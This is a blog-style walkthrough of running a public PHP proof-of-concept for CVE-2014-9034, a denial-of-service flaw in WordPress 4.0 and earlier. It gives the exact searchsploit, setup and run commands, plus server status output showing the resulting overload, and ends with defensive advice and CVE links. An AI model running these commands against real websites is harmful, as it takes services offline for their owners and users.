Proof of Concept PHP exploit for WordPress DoS Attack CVE-2014-9034 worked like a charm on my own WordPress website. Surprisingly, CVE-2014-9034 was published for sometime and it seems WordPress still hasn’t fixed this issue. I will explain how to use this Proof of Concept tool and test your own WordPress website for vulnerabilities.

WordPress DoS Attack – CVE-2014-9034

Credit for WordPress DoS Attack (Denial of Service Proof of Concept PHP Exploit CVE-2014-9034: WordPress <=4.0) goes to John from https://secureli.com. I will explain how to use this Proof of Concept tool and test your own WordPress website for vulnerability.

Searching exploit using searchspoit

How many of you used searchsploit in Kali Linux? It’s a nice tool that updates and downloads exploits often. I use it quite extensively along with MetaSploit.

Use searchsploit to search specific exploits. You can use it like this:

root@kali:~# searchsploit wordpress denial
---------------------------------------------|---------------------------------- 
 Description                                 |  Path
---------------------------------------------|----------------------------------
WordPress <=4.0 Denial of Service Exploit    | /php/webapps/35413.php
Wordpress < 4.0.1 - Denial of Service        | /php/webapps/35414.txt
---------------------------------------------|----------------------------------
root@kali:~#

Just in case you want to search something else, you -h and it shows the help menu. Now help yourself to find more vulnerabilities.

root@kali:~# searchsploit -h
Usage  : searchsploit [OPTIONS] term1 [term2] ... [termN]
Example: searchsploit oracle windows local

=========
 OPTIONS 
=========
 -c         - Perform case-sensitive searches; by default,
              searches will try to be greedy
 -v         - By setting verbose output, description lines
              are allowed to overflow their columns
 -h, --help - Show help screen

NOTES:
 - Use any number of search terms you would like (minimum: 1)
 - Search terms are not case sensitive, and order is irrelevant
root@kali:~#

Using searchsploit results

searchsploit files are located at /usr/share/exploitdb/ folder. You need to copy the exploit file to your home directory or something similar.

root@kali:~# mkdir bmo
root@kali:~# cd bmo/
root@kali:~/bmo# 
root@kali:~/bmo# cp /usr/share/exploitdb/platforms/php/webapps/35413.php .
root@kali:~/bmo# 
root@kali:~/bmo#

Running the exploit

To run this script you need to use PHP command… Here’s the little help menu:

CVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability
Proof-of-Concept developed by [email protected] (https://secureli.com)
usage: php wordpressed.php domain.com username numberOfThreads
e.g.: php wordpressed.php wordpress.org admin 50

First time I tried to run this php exploit, I received an error

root@kali:~/bmo# php 35413.php somesrandomsite.com admin 50

CVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability
Proof-of-Concept developed by [email protected] (https://secureli.com)

usage: php wordpressed.php domain.com username numberOfThreads
 e.g.: php wordpressed.php wordpress.org admin 50

Sending POST data (username: admin; threads: 50) to somerandomsite.comPHP Fatal error:  Call to undefined function curl_multi_init() in /root/wp/35413.php on line 12

This is because a package is missing in my Kali Linux. I need to install php5-curl package for that.

root@kali:~/bmo# apt-get install php5-curl 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  php5-curl
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 29.4 kB of archives.
After this operation, 116 kB of additional disk space will be used.
Get:1 https://security.kali.org/kali-security/ kali/updates/main php5-curl amd64 5.4.36-0+deb7u1 [29.4 kB]
Fetched 29.4 kB in 1s (18.8 kB/s)  
Selecting previously unselected package php5-curl.
(Reading database ... 389427 files and directories currently installed.)
Unpacking php5-curl (from .../php5-curl_5.4.36-0+deb7u1_amd64.deb) ...
Processing triggers for libapache2-mod-php5 ...
[ ok ] Reloading web server config: apache2 not running.
Setting up php5-curl (5.4.36-0+deb7u1) ...

Creating config file /etc/php5/mods-available/curl.ini with new version
Processing triggers for libapache2-mod-php5 ...
[ ok ] Reloading web server config: apache2 not running.

root@kali:~/bmo#

Now retry running this exploit:

root@kali:~/bmo# php 35413.php somerandomsite.com  admin 50

CVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability
Proof-of-Concept developed by [email protected] (https://secureli.com)

usage: php wordpressed.php domain.com username numberOfThreads
 e.g.: php wordpressed.php wordpress.org admin 50

Sending POST data (username: admin; threads: 50) to somerandomsite.com^C
root@kali:~/bmo# 

Server side experience

So this is what server side looks like

someuser@someserver [/home]# pstree
init─┬─/usr/local/cpan
     ├─httpd─┬─167*[httpd]
     ├─postgresql──238*
     ├─named───3*[{named}]
     ├─rsyslogd───3*[{rsyslogd}]
     ├─sshd───sshd───bash───pstree

httpd status before

   Server Built: Nov 17 2014 14:25:08
     __________________________________________________________________

   Current Time: Thursday, 08-Jan-2015 17:06:52 GMT
   Restart Time: Thursday, 08-Jan-2015 16:13:46 GMT
   Parent Server Generation: 0
   Server uptime: 53 minutes 6 seconds
   Total accesses: 6353 - Total Traffic: 26.9 MB
   CPU Usage: u89.86 s19.17 cu0 cs0 - 3.42% CPU load
   1.99 requests/sec - 8.7 kB/second - 4446 B/request
   1 requests currently being processed, 9 idle workers

___W___.._...._.._..............................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

httpd status after

   Server Built: Nov 17 2014 14:25:08
     __________________________________________________________________

   Current Time: Thursday, 08-Jan-2015 17:08:51 GMT
   Restart Time: Thursday, 08-Jan-2015 17:08:26 GMT
   Parent Server Generation: 0
   Server uptime: 25 seconds
   Total accesses: 334 - Total Traffic: 64 GB
   CPU Usage: u1.85 s.33 cu0 cs0 - 8.72% CPU load
   1.36 requests/sec - 2621 B/second - 1927 B/request
   251 requests currently being processed, 12 idle workers

WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW____....__..C
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW....WWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW..WWWWWWW....
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW.............

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

Visible in my monitoring

So how does it look in my Munin monitoring? Well, pretty f’ed up. I got massive spikes all over the place

Defending against these attacks

Followings are your options:

1. The best way is to restrict wp-admin folder to specific IP’s.
2. Throttle connection’s per IP.
3. Use a WAF.
4. Write your own ModSecurity code in Apache or similar in NGINX (actually it would be nice to see how NGINX works against such attacks, any takers?).
5. Keep WordPress updated.

Conclusion

All in all, its a nice exploit and it does what it’s supposed to do, create massive connections and mysql load for a server. Run it few minutes and if the server is not throttling connections per IP, it will make the server unresponsive.

Here is John’s original post https://secureli.com/2014/11/28/wordpress40-denialofservice-proofofconcept/ about this exploit and I think WordPress should fix it ASAP.

Following explanation is taken from John’s site”

CVE-2014-9034 was published recently, highlighting an issue that “allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing” due to phpass usage.

The full vulnerability information is available from:

• https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034
• https://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html
• https://wpvulndb.com/vulnerabilities/7681

This exploit uses a denial of service attack against wp-includes/class-phpass.php in the following WP versions:

• before 3.7.5
• 3.8.x before 3.8.5
• 3.9.x before 3.9.3
• 4.x before 4.0.1

This is the first exploit against such attack and thanks to John for bringing it to our attention. Enjoy and ensure your website is protected against such attacks. Share and RT.